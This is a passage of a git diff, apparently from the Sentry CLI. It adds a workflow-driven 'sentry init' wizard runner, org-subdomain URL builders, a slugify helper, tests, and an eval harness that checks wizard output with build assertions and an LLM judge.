MASTRA_API_URL, + headers: token ? { Authorization: `Bearer ${token}` } : {}, + }); + const workflow = client.getWorkflow(WORKFLOW_ID); + + const spin = spinner(); + const spinState: SpinState = { running: false }; + + spin.start("Scanning project..."); + spinState.running = true; + + let run: Awaited>; + let result: WorkflowRunResult; + try { + const dirListing = precomputeDirListing(directory); + spin.message("Connecting to wizard..."); + run = await workflow.createRun(); + result = assertWorkflowResult( + await withTimeout( + run.startAsync({ + inputData: { directory, force, yes, dryRun, features, dirListing }, + tracingOptions, + }), + API_TIMEOUT_MS, + "Workflow start" + ) + ); + } catch (err) { + spin.stop("Connection failed", 1); + spinState.running = false; + log.error(errorMessage(err)); + cancel("Setup failed"); + process.exitCode = 1; + return; + } + + const stepPhases = new Map(); + const stepHistory = new Map[]>(); + + try { + while (result.status === "suspended") { + const stepPath = result.suspended?.at(0) ?? []; + const stepId: string = stepPath.at(-1) ?? "unknown"; + + const extracted = extractSuspendPayload(result, stepId); + if (!extracted) { + spin.stop("Error", 1); + spinState.running = false; + log.error(`No suspend payload found for step "${stepId}"`); + cancel("Setup failed"); + process.exitCode = 1; + return; + } + + const resumeData = await handleSuspendedStep( + { + payload: extracted.payload, + stepId: extracted.stepId, + spin, + spinState, + options, + }, + stepPhases, + stepHistory + ); + + result = assertWorkflowResult( + await withTimeout( + run.resumeAsync({ + step: extracted.stepId, + resumeData, + tracingOptions, + }), + API_TIMEOUT_MS, + "Workflow resume" + ) + ); + } + } catch (err) { + if (err instanceof WizardCancelledError) { + process.exitCode = 1; + return; + } + if (spinState.running) { + spin.stop("Error", 1); + spinState.running = false; + } + log.error(errorMessage(err)); + cancel("Setup failed"); + process.exitCode = 1; + return; + } + + handleFinalResult(result, spin, spinState); +} + +function handleFinalResult( + result: WorkflowRunResult, + spin: Spinner, + spinState: SpinState +): void { + const hasError = result.status !== "success" || result.result?.exitCode; + + if (hasError) { + if (spinState.running) { + spin.stop("Failed", 1); + spinState.running = false; + } + formatError(result); + process.exitCode = 1; + } else { + if (spinState.running) { + spin.stop("Done"); + spinState.running = false; + } + formatResult(result); + } +} + +function extractSuspendPayload( + result: WorkflowRunResult, + stepId: string +): { payload: SuspendPayload; stepId: string } | undefined { + const stepPayload = result.steps?.[stepId]?.suspendPayload; + if (stepPayload) { + return { payload: assertSuspendPayload(stepPayload), stepId }; + } + + if (result.suspendPayload) { + return { payload: assertSuspendPayload(result.suspendPayload), stepId }; + } + + for (const key of Object.keys(result.steps ?? {})) { + const step = result.steps?.[key]; + if (step?.suspendPayload) { + return { + payload: assertSuspendPayload(step.suspendPayload), + stepId: key, + }; + } + } + + return; +} diff --git a/src/lib/sentry-url-parser.ts b/src/lib/sentry-url-parser.ts index 8073d325..450d55f3 100644 --- a/src/lib/sentry-url-parser.ts +++ b/src/lib/sentry-url-parser.ts @@ -123,6 +123,11 @@ function matchSubdomainOrg( return { baseUrl, org, traceId: segments[1] }; } + // /settings/projects/{project}/ (org-scoped subdomain settings URL) + if (segments[0] === "settings" && segments[1] === "projects" && segments[2]) { + return { baseUrl, org, project: segments[2] }; + } + // Bare org subdomain URL if (segments.length === 0) { return { baseUrl, org }; diff --git a/src/lib/sentry-urls.ts b/src/lib/sentry-urls.ts index de0e8b0e..07b67715 100644 --- a/src/lib/sentry-urls.ts +++ b/src/lib/sentry-urls.ts @@ -15,6 +15,27 @@ export function getSentryBaseUrl(): string { return process.env.SENTRY_URL ?? DEFAULT_SENTRY_URL; } +/** + * Build the org-scoped base URL using the subdomain pattern. + * E.g. "https://sentry.io" + "my-org" → "https://my-org.sentry.io" + * + * @param orgSlug - Organization slug + * @returns Origin URL with org as subdomain + */ +export function getOrgBaseUrl(orgSlug: string): string { + const base = getSentryBaseUrl(); + if (!isSentrySaasUrl(base)) { + return base; + } + const parsed = new URL(base); + parsed.hostname = `${orgSlug}.${parsed.hostname}`; + return parsed.origin; +} + +function isSaaS(): boolean { + return isSentrySaasUrl(getSentryBaseUrl()); +} + /** * Check if a URL is a Sentry SaaS domain. * @@ -43,6 +64,9 @@ export function isSentrySaasUrl(url: string): boolean { * @returns Full URL to the organization page */ export function buildOrgUrl(orgSlug: string): string { + if (isSaaS()) { + return `${getOrgBaseUrl(orgSlug)}/`; + } return `${getSentryBaseUrl()}/organizations/${orgSlug}/`; } @@ -54,6 +78,9 @@ export function buildOrgUrl(orgSlug: string): string { * @returns Full URL to the project settings page */ export function buildProjectUrl(orgSlug: string, projectSlug: string): string { + if (isSaaS()) { + return `${getOrgBaseUrl(orgSlug)}/settings/projects/${projectSlug}/`; + } return `${getSentryBaseUrl()}/settings/${orgSlug}/projects/${projectSlug}/`; } @@ -66,6 +93,9 @@ export function buildProjectUrl(orgSlug: string, projectSlug: string): string { * @returns Full URL to search results showing the event */ export function buildEventSearchUrl(orgSlug: string, eventId: string): string { + if (isSaaS()) { + return `${getOrgBaseUrl(orgSlug)}/issues/?query=event.id:${eventId}`; + } return `${getSentryBaseUrl()}/organizations/${orgSlug}/issues/?query=event.id:${eventId}`; } @@ -79,7 +109,9 @@ export function buildEventSearchUrl(orgSlug: string, eventId: string): string { * @returns Full URL to the organization settings page */ export function buildOrgSettingsUrl(orgSlug: string, hash?: string): string { - const url = `${getSentryBaseUrl()}/settings/${orgSlug}/`; + const url = isSaaS() + ? `${getOrgBaseUrl(orgSlug)}/settings/` + : `${getSentryBaseUrl()}/settings/${orgSlug}/`; return hash ? `${url}#${hash}` : url; } @@ -90,6 +122,9 @@ export function buildOrgSettingsUrl(orgSlug: string, hash?: string): string { * @returns Full URL to the Seer settings page */ export function buildSeerSettingsUrl(orgSlug: string): string { + if (isSaaS()) { + return `${getOrgBaseUrl(orgSlug)}/settings/seer/`; + } return `${getSentryBaseUrl()}/settings/${orgSlug}/seer/`; } @@ -101,7 +136,9 @@ export function buildSeerSettingsUrl(orgSlug: string): string { * @returns Full URL to the billing overview page */ export function buildBillingUrl(orgSlug: string, product?: string): string { - const base = `${getSentryBaseUrl()}/settings/${orgSlug}/billing/overview/`; + const base = isSaaS() + ? `${getOrgBaseUrl(orgSlug)}/settings/billing/overview/` + : `${getSentryBaseUrl()}/settings/${orgSlug}/billing/overview/`; return product ? `${base}?product=${product}` : base; } @@ -115,7 +152,9 @@ export function buildBillingUrl(orgSlug: string, product?: string): string { * @returns Full URL to the Logs explorer */ export function buildLogsUrl(orgSlug: string, logId?: string): string { - const base = `${getSentryBaseUrl()}/organizations/${orgSlug}/explore/logs/`; + const base = isSaaS() + ? `${getOrgBaseUrl(orgSlug)}/explore/logs/` + : `${getSentryBaseUrl()}/organizations/${orgSlug}/explore/logs/`; return logId ? `${base}?query=sentry.item_id:${logId}` : base; } @@ -127,5 +166,8 @@ export function buildLogsUrl(orgSlug: string, logId?: string): string { * @returns Full URL to the trace view */ export function buildTraceUrl(orgSlug: string, traceId: string): string { + if (isSaaS()) { + return `${getOrgBaseUrl(orgSlug)}/traces/${traceId}/`; + } return `${getSentryBaseUrl()}/organizations/${orgSlug}/traces/${traceId}/`; } diff --git a/src/lib/utils.ts b/src/lib/utils.ts index e2d8949e..c35405dd 100644 --- a/src/lib/utils.ts +++ b/src/lib/utils.ts @@ -20,6 +20,25 @@ export function isAllDigits(str: string): boolean { return ALL_DIGITS_PATTERN.test(str); } +/** + * Convert a project name to its expected Sentry slug. + * Aligned with Sentry's canonical implementation: + * https://github.com/getsentry/sentry/blob/master/static/app/utils/slugify.tsx + * + * @example slugify("My Cool App") // "my-cool-app" + * @example slugify("my-app") // "my-app" + * @example slugify("Café Project") // "cafe-project" + * @example slugify("my_app") // "my_app" + */ +export function slugify(name: string): string { + return name + .normalize("NFKD") + .toLowerCase() + .replace(/[^a-z0-9_\s-]/g, "") + .replace(/[-\s]+/g, "-") + .replace(/^-|-$/g, ""); +} + /** * Determine the real (non-root) username of the invoking user. * diff --git a/test/commands/init.test.ts b/test/commands/init.test.ts new file mode 100644 index 00000000..dd5f2613 --- /dev/null +++ b/test/commands/init.test.ts @@ -0,0 +1,146 @@ +/** + * Tests for the `sentry init` command entry point. + * + * Uses spyOn on the wizard-runner namespace to capture runWizard calls + * without mock.module (which leaks across test files). + */ + +import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; +import path from "node:path"; +import { initCommand } from "../../src/commands/init.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as wizardRunner from "../../src/lib/init/wizard-runner.js"; + +// ── Spy on runWizard to capture call args ───────────────────────────────── +let capturedArgs: Record | undefined; +let runWizardSpy: ReturnType; + +const func = (await initCommand.loader()) as ( + this: { + cwd: string; + stdout: { write: () => boolean }; + stderr: { write: () => boolean }; + stdin: typeof process.stdin; + }, + flags: Record, + directory?: string +) => Promise; + +function makeContext(cwd = "/projects/app") { + return { + cwd, + stdout: { write: () => true }, + stderr: { write: () => true }, + stdin: process.stdin, + }; +} + +beforeEach(() => { + capturedArgs = undefined; + runWizardSpy = spyOn(wizardRunner, "runWizard").mockImplementation( + (args: Record) => { + capturedArgs = args; + return Promise.resolve(); + } + ); +}); + +afterEach(() => { + runWizardSpy.mockRestore(); +}); + +describe("init command func", () => { + describe("features parsing", () => { + test("splits comma-separated features", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + features: "errors,tracing,logs", + }); + + expect(capturedArgs?.features).toEqual(["errors", "tracing", "logs"]); + }); + + test("trims whitespace from features", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + features: " errors , tracing ", + }); + + expect(capturedArgs?.features).toEqual(["errors", "tracing"]); + }); + + test("filters empty segments", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + features: "errors,,tracing,", + }); + + expect(capturedArgs?.features).toEqual(["errors", "tracing"]); + }); + + test("passes undefined when features not provided", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + }); + + expect(capturedArgs?.features).toBeUndefined(); + }); + }); + + describe("directory resolution", () => { + test("defaults to cwd when no directory provided", async () => { + const ctx = makeContext("/projects/app"); + await func.call(ctx, { + force: false, + yes: true, + "dry-run": false, + }); + + expect(capturedArgs?.directory).toBe("/projects/app"); + }); + + test("resolves relative directory against cwd", async () => { + const ctx = makeContext("/projects/app"); + await func.call( + ctx, + { + force: false, + yes: true, + "dry-run": false, + }, + "sub/dir" + ); + + expect(capturedArgs?.directory).toBe( + path.resolve("/projects/app", "sub/dir") + ); + }); + }); + + describe("flag forwarding", () => { + test("forwards force, yes, and dry-run flags", async () => { + const ctx = makeContext(); + await func.call(ctx, { + force: true, + yes: true, + "dry-run": true, + }); + + expect(capturedArgs?.force).toBe(true); + expect(capturedArgs?.yes).toBe(true); + expect(capturedArgs?.dryRun).toBe(true); + }); + }); +}); diff --git a/test/commands/project/create.test.ts b/test/commands/project/create.test.ts index d72d9293..5dbef626 100644 --- a/test/commands/project/create.test.ts +++ b/test/commands/project/create.test.ts @@ -459,7 +459,7 @@ describe("project create", () => { await func.call(context, { json: false }, "my-app", "node"); const output = stdoutWrite.mock.calls.map((c) => c[0]).join(""); - expect(output).toContain("/settings/acme-corp/projects/my-app/"); + expect(output).toContain("acme-corp.sentry.io/settings/projects/my-app/"); }); test("shows slug divergence note when Sentry adjusts the slug", async () => { diff --git a/test/init-eval/express.eval.test.ts b/test/init-eval/express.eval.test.ts new file mode 100644 index 00000000..258c8849 --- /dev/null +++ b/test/init-eval/express.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("express"); diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json new file mode 100644 index 00000000..f987f4c0 --- /dev/null +++ b/test/init-eval/feature-docs.json @@ -0,0 +1,145 @@ +{ + "$comment": [ + "Maps each platform to doc URLs used as ground truth by the LLM judge.", + "", + "Structure: { platformId: { featureName: [url, ...] } }", + " - Platform keys must match the `id` from helpers/platforms.ts", + " - Feature names are free-form strings (e.g. 'getting-started', 'errors')", + " - Each feature maps to an array of doc URLs (multiple pages allowed)", + " - Empty arrays mean 'no docs yet'; the judge skips the follows-docs criterion", + "", + "To add a new platform: add a key with its feature objects.", + "To add a new feature: add a new key under the platform with a URL array." + ], + + "nextjs": { + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/capturing-errors/" + ], + "logs": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/logs/"], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/tracing/" + ], + "replay": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/session-replay/" + ], + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/metrics/" + ], + "sourcemaps": [], + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/browser/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/node/" + ] + }, + + "express": { + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/express/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/express/usage/" + ], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/express/tracing/" + ], + "logs": [ + "https://docs.sentry.io/platforms/javascript/guides/express/logs/" + ], + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/express/metrics/" + ], + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/express/profiling/" + ] + }, + + "python-flask": { + "getting-started": [ + "https://docs.sentry.io/platforms/python/integrations/flask/" + ], + "errors": ["https://docs.sentry.io/platforms/python/integrations/flask/"], + "tracing": ["https://docs.sentry.io/platforms/python/integrations/flask/"], + "logs": ["https://docs.sentry.io/platforms/python/integrations/flask/"], + "metrics": [], + "profiling": [ + "https://docs.sentry.io/platforms/python/integrations/flask/", + "https://docs.sentry.io/platforms/python/profiling/" + ] + }, + + "python-fastapi": { + "getting-started": [ + "https://docs.sentry.io/platforms/python/integrations/fastapi/" + ], + "errors": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "tracing": [ + "https://docs.sentry.io/platforms/python/integrations/fastapi/" + ], + "logs": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "profiling": [ + "https://docs.sentry.io/platforms/python/integrations/fastapi/", + "https://docs.sentry.io/platforms/python/profiling/" + ] + }, + + "sveltekit": { + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/", + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/", + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/", + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/usage/" + ], + "sourcemaps": [], + "replay": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/session-replay/" + ], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/tracing/" + ], + "logs": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/logs/" + ], + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/metrics/" + ], + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/profiling/" + ] + }, + + "react-vite": { + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/react/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/react/", + "https://docs.sentry.io/platforms/javascript/guides/react/usage/" + ], + "sourcemaps": [], + "replay": [ + "https://docs.sentry.io/platforms/javascript/guides/react/session-replay/" + ], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/react/tracing/" + ], + "logs": ["https://docs.sentry.io/platforms/javascript/guides/react/logs/"], + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/react/metrics/" + ], + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/react/profiling/" + ] + } +} diff --git a/test/init-eval/helpers/assertions.ts b/test/init-eval/helpers/assertions.ts new file mode 100644 index 00000000..52633b95 --- /dev/null +++ b/test/init-eval/helpers/assertions.ts @@ -0,0 +1,98 @@ +import { execSync } from "node:child_process"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +import type { Platform } from "./platforms.js"; +import type { WizardResult } from "./run-wizard.js"; + +export type AssertionFailure = { + check: string; + message: string; +}; + +/** + * Run hard pass/fail assertions on the wizard result. + * Returns an array of failures (empty = all passed). + */ +export function runAssertions( + projectDir: string, + platform: Platform, + result: WizardResult +): AssertionFailure[] { + const failures: AssertionFailure[] = []; + + // 1. Exit code 0 + if (result.exitCode !== 0) { + failures.push({ + check: "exit-code", + message: `Expected exit code 0, got ${result.exitCode}.\nstderr: ${result.stderr.slice(0, 500)}`, + }); + } + + // 2. SDK in dependencies + try { + const depContent = readFileSync( + join(projectDir, platform.depFile), + "utf-8" + ); + if (!depContent.includes(platform.sdkPackage)) { + failures.push({ + check: "sdk-installed", + message: `${platform.sdkPackage} not found in ${platform.depFile}`, + }); + } + } catch { + failures.push({ + check: "sdk-installed", + message: `Could not read ${platform.depFile}`, + }); + } + + // 3. Sentry.init present in changed or new files + const allContent = result.diff + Object.values(result.newFiles).join("\n"); + if (!platform.initPattern.test(allContent)) { + failures.push({ + check: "init-present", + message: `${platform.initPattern} not found in any changed or new files`, + }); + } + + // 4. No placeholder DSNs + const placeholderPatterns = [ + /___PUBLIC_DSN___/, + /YOUR_DSN_HERE/, + /https:\/\/examplePublicKey@o0\.ingest\.sentry\.io\/0/, + ]; + for (const pat of placeholderPatterns) { + if (pat.test(allContent)) { + failures.push({ + check: "no-placeholder-dsn", + message: `Placeholder DSN found: ${pat.source}`, + }); + } + } + + // 5. Project builds (if buildCmd set) + if (platform.buildCmd) { + try { + // Install deps first (wizard may have added new ones) + execSync(platform.installCmd, { + cwd: projectDir, + stdio: "pipe", + timeout: 120_000, + }); + execSync(platform.buildCmd, { + cwd: projectDir, + stdio: "pipe", + timeout: 120_000, + }); + } catch (err) { + const msg = err instanceof Error ? err.message : String(err); + failures.push({ + check: "build-succeeds", + message: `Build failed: ${msg.slice(0, 500)}`, + }); + } + } + + return failures; +} diff --git a/test/init-eval/helpers/create-eval-suite.ts b/test/init-eval/helpers/create-eval-suite.ts new file mode 100644 index 00000000..ca8ac2a1 --- /dev/null +++ b/test/init-eval/helpers/create-eval-suite.ts @@ -0,0 +1,57 @@ +import { afterAll, describe, expect, test } from "bun:test"; +import { runAssertions } from "./assertions"; +import { fetchDocsContent } from "./docs-fetcher"; +import { judgeFeature } from "./judge"; +import { getPlatform, WIZARD_FEATURE_IDS } from "./platforms"; +import { runWizard, type WizardResult } from "./run-wizard"; +import { createTestEnv } from "./test-env"; + +/** + * Creates a standard eval test suite for a given platform. + * + * Runs the wizard once with all features, then: + * 1. Code-based hard assertions (deterministic) + * 2. Per-feature LLM judge calls (one test per feature) + */ +export function createEvalSuite(platformId: string) { + const p = getPlatform(platformId); + const env = createTestEnv(p.templateDir); + let result: WizardResult; + + // Only pass features that are valid wizard --features flag values + const wizardFeatures = p.docs + .map((d) => d.feature) + .filter((f) => WIZARD_FEATURE_IDS.has(f)); + + afterAll(() => env.cleanup()); + + describe(`eval: ${p.name}`, () => { + test( + "wizard completes", + async () => { + result = await runWizard(env.projectDir, p, wizardFeatures); + expect(result.exitCode).toBe(0); + }, + p.timeout + ); + + test("hard assertions pass", async () => { + const failures = runAssertions(env.projectDir, p, result); + if (failures.length > 0) { + console.log("Assertion failures:", JSON.stringify(failures, null, 2)); + } + expect(failures).toEqual([]); + }, 120_000); + + // Per-feature LLM judge — one test per feature + for (const doc of p.docs) { + test(`judge: ${doc.feature}`, async () => { + const docsContent = await fetchDocsContent(doc.docsUrls); + const verdict = await judgeFeature(result, p, doc, docsContent); + if (verdict) { + expect(verdict.score).toBeGreaterThanOrEqual(0.5); + } + }, 60_000); + } + }); +} diff --git a/test/init-eval/helpers/docs-fetcher.ts b/test/init-eval/helpers/docs-fetcher.ts new file mode 100644 index 00000000..6964320a --- /dev/null +++ b/test/init-eval/helpers/docs-fetcher.ts @@ -0,0 +1,50 @@ +function toMarkdownUrl(docsUrl: string): string { + return `${docsUrl.replace(/\/+$/, "")}.md`; +} + +/** + * Fetch Sentry documentation pages and extract plain text for use as + * ground-truth reference material in LLM judge prompts. + * + * Accepts an array of URLs — fetches all in parallel and concatenates results. + * Returns "(no docs provided)" when the array is empty. + */ +export async function fetchDocsContent(urls: string[]): Promise { + if (urls.length === 0) { + return "(no docs provided)"; + } + + // Restore real fetch — test preload mocks it to catch accidental network + // calls, but we need real HTTP to reach docs.sentry.io. + const realFetch = (globalThis as { __originalFetch?: typeof fetch }) + .__originalFetch; + if (realFetch) { + globalThis.fetch = realFetch; + } + + const charBudgetPerUrl = Math.floor(6000 / urls.length); + + const results = await Promise.all( + urls.map((url) => fetchOne(url, charBudgetPerUrl)) + ); + return results.join("\n\n---\n\n"); +} + +async function fetchOne(url: string, charLimit: number): Promise { + const mdUrl = toMarkdownUrl(url); + try { + const res = await fetch(mdUrl, { + headers: { "User-Agent": "sentry-init-eval/1.0" }, + }); + + if (!res.ok) { + return `(failed to fetch ${mdUrl}: ${res.status})`; + } + + const text = await res.text(); + return text.trim().slice(0, charLimit); + } catch (err) { + const msg = err instanceof Error ? err.message : String(err); + return `(failed to fetch ${mdUrl}: ${msg})`; + } +} diff --git a/test/init-eval/helpers/judge.ts b/test/init-eval/helpers/judge.ts new file mode 100644 index 00000000..4b8ee863 --- /dev/null +++ b/test/init-eval/helpers/judge.ts @@ -0,0 +1,143 @@ +import type { FeatureDoc, Platform } from "./platforms.js"; +import type { WizardResult } from "./run-wizard.js"; + +export type JudgeCriterion = { + name: string; + /** true = pass, false = fail, "unknown" = judge can't determine */ + pass: boolean | "unknown"; + reason: string; +}; + +export type JudgeVerdict = { + criteria: JudgeCriterion[]; + /** Score from 0-1, computed only over criteria that aren't "unknown" */ + score: number; + summary: string; +}; + +/** + * Use an LLM judge to evaluate whether a **single feature** was correctly set + * up by the wizard. Returns null if OPENAI_API_KEY is not set. + * + * `docsContent` is the pre-fetched plain-text documentation to include as + * ground truth in the prompt. + */ +export async function judgeFeature( + result: WizardResult, + platform: Platform, + feature: FeatureDoc, + docsContent: string +): Promise { + const apiKey = process.env.OPENAI_API_KEY; + if (!apiKey) { + console.log( + ` [judge:${feature.feature}] Skipping LLM judge (no OPENAI_API_KEY set)` + ); + return null; + } + + // Restore real fetch — test preload mocks it to catch accidental network + // calls, but we need real HTTP for the OpenAI API. + const realFetch = (globalThis as { __originalFetch?: typeof fetch }) + .__originalFetch; + if (realFetch) { + globalThis.fetch = realFetch; + } + + // Dynamic import so we don't fail when the package isn't installed + const { default: OpenAI } = await import("openai"); + const client = new OpenAI({ apiKey }); + + const newFilesSection = Object.entries(result.newFiles) + .map(([path, content]) => `### ${path}\n\`\`\`\n${content}\n\`\`\``) + .join("\n\n"); + + const prompt = `You are evaluating whether **${feature.feature}** was correctly set up in a **${platform.name}** project by a Sentry SDK wizard. + +## Official Sentry documentation for ${feature.feature} +${docsContent} + +## Changes made by wizard (git diff) +\`\`\`diff +${result.diff.slice(0, 20_000)} +\`\`\` + +## New files created by wizard +${newFilesSection.slice(0, 20_000) || "(none)"} + +## Wizard output +stdout: ${result.stdout.slice(0, 2000)} +stderr: ${result.stderr.slice(0, 2000)} + +Score each criterion as true (pass), false (fail), or "unknown" (cannot determine from the available information): +1. **feature-initialized** — The ${feature.feature} feature is correctly initialized per the documentation +2. **correct-imports** — Correct imports and SDK packages used for ${feature.feature} +3. **no-syntax-errors** — No syntax errors or broken imports in ${feature.feature}-related code +4. **follows-docs** — ${feature.feature} configuration follows documentation recommendations + +Return ONLY valid JSON with this structure: +{ + "criteria": [ + {"name": "feature-initialized", "pass": true, "reason": "..."}, + {"name": "correct-imports", "pass": true, "reason": "..."}, + {"name": "no-syntax-errors", "pass": true, "reason": "..."}, + {"name": "follows-docs", "pass": "unknown", "reason": "..."} + ], + "summary": "Brief overall assessment of ${feature.feature} setup" +}`; + + const response = await client.chat.completions.create({ + model: "gpt-4o", + max_tokens: 1024, + messages: [{ role: "user", content: prompt }], + }); + + const text = response.choices[0]?.message?.content ?? ""; + + // Extract JSON from response (handle markdown code blocks) + const jsonMatch = text.match(/\{[\s\S]*\}/); + if (!jsonMatch) { + console.log( + ` [judge:${feature.feature}] Failed to parse judge response:`, + text.slice(0, 200) + ); + return null; + } + + let parsed: { criteria: JudgeCriterion[]; summary: string }; + try { + parsed = JSON.parse(jsonMatch[0]); + } catch { + console.log( + ` [judge:${feature.feature}] Invalid JSON in response:`, + jsonMatch[0].slice(0, 200) + ); + return null; + } + + // Score: ignore "unknown" criteria, only count pass/fail + const gradable = parsed.criteria.filter((c) => c.pass !== "unknown"); + const passing = gradable.filter((c) => c.pass === true).length; + const total = gradable.length; + const score = total > 0 ? passing / total : 0; + + const verdict: JudgeVerdict = { + criteria: parsed.criteria, + score, + summary: parsed.summary, + }; + + // Log for visibility in test output + console.log( + ` [judge:${feature.feature}] Score: ${passing}/${total} (${(score * 100).toFixed(0)}%)` + ); + for (const c of parsed.criteria) { + let icon = "FAIL"; + if (c.pass === "unknown") icon = "SKIP"; + else if (c.pass === true) icon = "PASS"; + console.log(` ${icon} ${c.name}: ${c.reason}`); + } + console.log(` [judge:${feature.feature}] Summary: ${parsed.summary}`); + + return verdict; +} diff --git a/test/init-eval/helpers/platforms.ts b/test/init-eval/helpers/platforms.ts new file mode 100644 index 00000000..df5228ce --- /dev/null +++ b/test/init-eval/helpers/platforms.ts @@ -0,0 +1,143 @@ +import { readFileSync } from "node:fs"; +import { join } from "node:path"; + +export type FeatureId = + | "errors" + | "tracing" + | "logs" + | "replay" + | "metrics" + | "sourcemaps" + | "profiling"; + +/** Feature IDs that are valid for the wizard `--features` flag. */ +export const WIZARD_FEATURE_IDS: Set = new Set([ + "errors", + "tracing", + "logs", + "replay", + "metrics", + "sourcemaps", + "profiling", +]); + +export type FeatureDoc = { + feature: string; + docsUrls: string[]; +}; + +export type Platform = { + id: string; + name: string; + templateDir: string; + sdkPackage: string; + depFile: string; + docs: FeatureDoc[]; + buildCmd?: string; + installCmd: string; + initPattern: RegExp; + timeout: number; +}; + +const TEMPLATES_DIR = join(import.meta.dir, "../templates"); + +/** Load feature docs from the external JSON config. */ +const featureDocsRaw: Record> = JSON.parse( + readFileSync(join(import.meta.dir, "../feature-docs.json"), "utf-8") +); + +function getDocs(platformId: string): FeatureDoc[] { + const entry = featureDocsRaw[platformId]; + if (!entry) { + throw new Error( + `No feature docs found for platform "${platformId}" in feature-docs.json` + ); + } + return Object.entries(entry).map(([feature, urls]) => ({ + feature, + docsUrls: urls, + })); +} + +export const PLATFORMS: Platform[] = [ + { + id: "nextjs", + name: "Next.js", + templateDir: join(TEMPLATES_DIR, "nextjs-app"), + sdkPackage: "@sentry/nextjs", + depFile: "package.json", + docs: getDocs("nextjs"), + installCmd: "npm install", + buildCmd: "npm run build", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, + { + id: "express", + name: "Express", + templateDir: join(TEMPLATES_DIR, "express-app"), + sdkPackage: "@sentry/node", + depFile: "package.json", + docs: getDocs("express"), + installCmd: "npm install", + buildCmd: "npx tsc --noEmit", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, + { + id: "python-flask", + name: "Flask", + templateDir: join(TEMPLATES_DIR, "python-flask-app"), + sdkPackage: "sentry-sdk", + depFile: "requirements.txt", + docs: getDocs("python-flask"), + installCmd: + "python3 -m venv .venv && .venv/bin/pip install -r requirements.txt", + buildCmd: ".venv/bin/python -m compileall -q .", + initPattern: /sentry_sdk\.init/, + timeout: 300_000, + }, + { + id: "python-fastapi", + name: "FastAPI", + templateDir: join(TEMPLATES_DIR, "python-fastapi-app"), + sdkPackage: "sentry-sdk", + depFile: "requirements.txt", + docs: getDocs("python-fastapi"), + installCmd: + "python3 -m venv .venv && .venv/bin/pip install -r requirements.txt", + buildCmd: ".venv/bin/python -m compileall -q .", + initPattern: /sentry_sdk\.init/, + timeout: 300_000, + }, + { + id: "sveltekit", + name: "SvelteKit", + templateDir: join(TEMPLATES_DIR, "sveltekit-app"), + sdkPackage: "@sentry/sveltekit", + depFile: "package.json", + docs: getDocs("sveltekit"), + installCmd: "npm install", + buildCmd: "npm run build", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, + { + id: "react-vite", + name: "React + Vite", + templateDir: join(TEMPLATES_DIR, "react-vite-app"), + sdkPackage: "@sentry/react", + depFile: "package.json", + docs: getDocs("react-vite"), + installCmd: "npm install", + buildCmd: "npm run build", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, +]; + +export function getPlatform(id: string): Platform { + const p = PLATFORMS.find((entry) => entry.id === id); + if (!p) throw new Error(`Unknown platform: ${id}`); + return p; +} diff --git a/test/init-eval/helpers/run-wizard.ts b/test/init-eval/helpers/run-wizard.ts new file mode 100644 index 00000000..c7cfeb3d --- /dev/null +++ b/test/init-eval/helpers/run-wizard.ts @@ -0,0 +1,117 @@ +import { execSync } from "node:child_process"; +import { readFileSync } from "node:fs"; +import { join, resolve } from "node:path"; +import { getCliCommand } from "../../fixture.js"; +import type { Platform } from "./platforms.js"; + +/** Root of the CLI repo (three levels up from this file). */ +const CLI_ROOT = resolve(import.meta.dir, "../../.."); + +export 